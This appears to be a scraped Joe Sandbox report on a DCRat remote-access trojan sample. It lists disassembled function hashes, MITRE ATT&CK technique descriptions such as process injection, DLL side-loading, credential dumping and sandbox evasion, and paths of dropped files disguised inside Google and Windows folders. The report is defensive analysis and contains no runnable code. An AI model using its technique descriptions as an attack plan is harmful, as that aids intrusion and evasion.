Opcode ID: cb14eb3995536404cc1fdb73e6e92acf1d28f520b54e180b196971961574b12d
Instruction ID: 55ffa08cb2a7e0240ae0d8aca8d8e98c60392cb2919391f7e0ca2c38ed849c58
Opcode Fuzzy Hash: cb14eb3995536404cc1fdb73e6e92acf1d28f520b54e180b196971961574b12d
Instruction Fuzzy Hash: 4E01B67091494D9FDF94EF58C848AFEBBF0FB78305F10456AA419D3260DB70A594CB80

Function 00007FF8495A51C0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23ece2a930f856cbfa828d7354e9d7dd7c9f16eefc35032fd6f5e2c16659b2b
Instruction ID: bb65f3fdf229787d06ea7cb71711f45fe503c0dff3c5d6606a645011b81da118
Opcode Fuzzy Hash: d23ece2a930f856cbfa828d7354e9d7dd7c9f16eefc35032fd6f5e2c16659b2b
Instruction Fuzzy Hash: B001B670914A4E9FDF94EF68C848AAEBBF0FB68315F10056AA419D3250DB30A590CB80

Function 00007FF8495AEC58 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 388d56a78d076e965c89a2000ae8a60b82cda01fd54052eef44beaf73d4a52dd
Instruction ID: 2bf2d69afd9c98a2d0f530fff923d679746d9eb92c61ca436264de44d1a61465
Opcode Fuzzy Hash: 388d56a78d076e965c89a2000ae8a60b82cda01fd54052eef44beaf73d4a52dd
Instruction Fuzzy Hash: 1F01B67091494D9FDF84EF68C848AAEBBF0FB68305F10456AA81DD3290DB31A594CB80

Function 00007FF8495A7020 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553144f92eb93353a79d1b55eba96692a925a8cce2c15eab2586655134d81e5c
Instruction ID: 699f3a07d52f06c532e6e8e46b682b9869a1c3520b5253b1b16baba80c300c5d
Opcode Fuzzy Hash: 553144f92eb93353a79d1b55eba96692a925a8cce2c15eab2586655134d81e5c
Instruction Fuzzy Hash: 2E01B670914A4D9FDF84EF58C848AAEBBF0FB68305F10456AA41DD3250DB70A5A4CB80

Function 00007FF8495A4FE0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8843df5feb0e56fba33fc1c62f0ca6c69d300a8a949b2d9fc375f502512b4cb7
Instruction ID: 32c6bff224858ea0dbf2223e21bf0a92d1df5c1e20214b2287c3125a9e9f27dc
Opcode Fuzzy Hash: 8843df5feb0e56fba33fc1c62f0ca6c69d300a8a949b2d9fc375f502512b4cb7
Instruction Fuzzy Hash: 4E01BB70918A4D9FDF84EF58C848ABEBBF0FB68305F10456AA819D3260DB30A590CB80

Function 00007FF8496B79D9 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3427716800.00007FF8496B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8496B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8496b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7c4e2d9db833d39ef0e01e17ea55c8a319436b59f19da78036b1406530a27f
Instruction ID: 27f6c38842c5b1ded3d32f6c1b578779212c8272cc69277c7e67ea17f6680ab9
Opcode Fuzzy Hash: 9e7c4e2d9db833d39ef0e01e17ea55c8a319436b59f19da78036b1406530a27f
Instruction Fuzzy Hash: 63016D3080868C8FDB86EF24C8686A97FB0FF65300F0500EBD408C75A2EB759984CB01

Function 00007FF8495A5210 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2936d3a2884604d6e3d65f5916cf63b7d77ac2c9cbeb638137a64ea958b754
Instruction ID: 5a31fdfef2af0ed3ba60b6755e059eb9f10dcef2f28ebd90a019cd89a6e9d4c4
Opcode Fuzzy Hash: 6a2936d3a2884604d6e3d65f5916cf63b7d77ac2c9cbeb638137a64ea958b754
Instruction Fuzzy Hash: 4E011970814A4C9FDF84EF18C849AEA7BE0FB28305F1001AAA41DD3250DB30E594CB81

Function 00007FF8495A51E8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0996669bc753fc5dfb95c64b3c08c1aea574dbbef8687172cf4bbce36ea95b
Instruction ID: 7a7f5a61b18a1fc0aa025e89d143c9a0f2836f9494c089cd850e42512e1a0ad7
Opcode Fuzzy Hash: 6f0996669bc753fc5dfb95c64b3c08c1aea574dbbef8687172cf4bbce36ea95b
Instruction Fuzzy Hash: 2301C930918A4D8FDF84EF58C848AEE7BF0FF68305F10056AA41DD3250DB30A590CB80

Function 00007FF8495A7048 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb239a47d4b7623b21ab7da6b3ec11a2bffeaf3be1a6ccf7e6ed92e953ef96f
Instruction ID: f303c79b5acc7b45cde9e2b16f91381737332b1fe3827d6066ca4acb6dd8aa06
Opcode Fuzzy Hash: 5bb239a47d4b7623b21ab7da6b3ec11a2bffeaf3be1a6ccf7e6ed92e953ef96f
Instruction Fuzzy Hash: 8E011930914A5ECFDF84EF58C848ABA77F0FB28305F10056AE819D3290DB30AA64CB90

Function 00007FF8495A4FB8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ddc23a4455321cd6743a6ab348b099bc701dca3fc7e30207a6c5afa07298333
Instruction ID: 7a7b1621c9cc928f2a25bd4e44c1739cea6bf78b4796ad041dc25755a17ebb0b
Opcode Fuzzy Hash: 0ddc23a4455321cd6743a6ab348b099bc701dca3fc7e30207a6c5afa07298333
Instruction Fuzzy Hash: D8F09C70918A4D9FDF94EF58C848ABEB7F0FB28315F14056A9419D3150DB30A594CB40

Function 00007FF8495A3180 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0893a267fd22a4a51e1c30f71af9ad3c1c00aff0a4cf012f52e17b74b7495d0c
Instruction ID: 67ffea8333dbab9fd3fc5731c09dbef3e8369c8846a3347d435c9342dfbffcbd
Opcode Fuzzy Hash: 0893a267fd22a4a51e1c30f71af9ad3c1c00aff0a4cf012f52e17b74b7495d0c
Instruction Fuzzy Hash: F6F0DA30914A4D9FDF85EF58D449AEABBF1FF68305F5041AAE41DD3250DB31AAA4CB80

Function 00007FF8495B7EE5 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7798dd8d1854f59c85fdadc2a8595c5d9ca1a4c731f73654c71bd50c19c6c290
Instruction ID: 8fa9e6da7e38ad807f0d83801f996e75ff0076a1b5eb6c98b537df425aa1f92a
Opcode Fuzzy Hash: 7798dd8d1854f59c85fdadc2a8595c5d9ca1a4c731f73654c71bd50c19c6c290
Instruction Fuzzy Hash: 08F09A3560C78ACFD756EF64D8501EA77A0FF49354F0605B6E8688A080D734A960CB90

Function 00007FF8495AE959 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03ea833131fec13f258053e4bf80a6baf40e6d87ff9efede4144b2d5b7f16261
Instruction ID: 478097eacd2187323e56bf325b0a5eb29f674e0ab0e4bf68b9479edf895fc7fb
Opcode Fuzzy Hash: 03ea833131fec13f258053e4bf80a6baf40e6d87ff9efede4144b2d5b7f16261
Instruction Fuzzy Hash: AFF04F7180C7CC8FDB56EF2888986997FB0FF15300F4900EAD408C6192EB399594C701

Function 00007FF8495AEF12 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f029804e04cbb7995e547f98cabdb733c4d736a05c0a20364731349a74b47dd1
Instruction ID: c80356796ad583f75f4a636dd37c4efdf019eeba14c588a7c7868a30e11cb669
Opcode Fuzzy Hash: f029804e04cbb7995e547f98cabdb733c4d736a05c0a20364731349a74b47dd1
Instruction Fuzzy Hash: AFF01D70D0C289CFDF24DF94C4986ECB7F4EF18360F20413AC42AA7284DA34654A8F04

Function 00007FF8495A5E60 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76020c00d39549910dae8beeae0423d006214ffe6ab08673b4607561fc3da023
Instruction ID: 5bcab1fa58f4a7625e756273b01a9344bdefb0c25ebcedcaa5482787c72b12fb
Opcode Fuzzy Hash: 76020c00d39549910dae8beeae0423d006214ffe6ab08673b4607561fc3da023
Instruction Fuzzy Hash: B9F0E130D096898FDB14DFC4C544B9DB7B2EB84351F208225C4169B298C778694A8B40

Function 00007FF8496B560D Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3427716800.00007FF8496B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8496B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8496b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7289d56bb40d3c405c40116a7c11e49bac09f7ac3204b078418cb085b6e02ba
Instruction ID: a4d08b7ae25b884088f377b61917ce827db8132c7736b1d8c1dc8bccf3104399
Opcode Fuzzy Hash: b7289d56bb40d3c405c40116a7c11e49bac09f7ac3204b078418cb085b6e02ba
Instruction Fuzzy Hash: 7EE0A03180CBD14FE375AA3844590607EE1EF25210B1505BFC159C69F2F969A8808301

Function 00007FF8495B7EB5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccebc4df74e238a5d199b4054f8dadc0f1f381640ba702a406bbde8e1c8198f4
Instruction ID: 43c93428447475803c76157cbc508f315e4ac6dc69bb513539bb7404cb3fc92d
Opcode Fuzzy Hash: ccebc4df74e238a5d199b4054f8dadc0f1f381640ba702a406bbde8e1c8198f4
Instruction Fuzzy Hash: BBE04F7080868EDFEB25EF68E8412EE7760FF54344F51057AF82C82290DB34A6A5CB95

Non-executed Functions

Function 00007FF8495F8478 Relevance: 10.4, Strings: 8, Instructions: 435COMMON

Download Yara Rule

Strings

^^&, xrefs: 00007FF8495F85C9
^^#, xrefs: 00007FF8495F85C2
^^%, xrefs: 00007FF8495F8682
^^, xrefs: 00007FF8495F8612
^^", xrefs: 00007FF8495F867A
^^, xrefs: 00007FF8495F872A
^^3, xrefs: 00007FF8495F8512
^^0, xrefs: 00007FF8495F850A

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: ^^$^^$^^"$^^#$^^%$^^&$^^0$^^3
API String ID: 0-2009065261
Opcode ID: 43f514ff258db763384ff94a5c4cf9a17cd6aa7b62ad1cdd8eee54e992a16471
Instruction ID: 43fc80a71a5a0e00fb05e16a59f351aaa7a1518e83b143eb53292739badae334
Opcode Fuzzy Hash: 43f514ff258db763384ff94a5c4cf9a17cd6aa7b62ad1cdd8eee54e992a16471
Instruction Fuzzy Hash: 55E10532D2E556DEE760FE68A8412F677A1FF143B8F2903B6C15D8A182DF2C384586D4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DWTukBG9R7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\MSECache\OfficeKMS\win8\6cb0b6c459d5d3

C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe

C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe:Zone.Identifier

C:\Program Files\Google\88d13acbc29308

C:\Program Files\Google\Chrome\Application\SetupMetrics\88d13acbc29308

C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe:Zone.Identifier

C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe

C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe:Zone.Identifier

C:\Program Files\Windows NT\TableTextService\88d13acbc29308

C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe

Windows Analysis Report
DWTukBG9R7.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre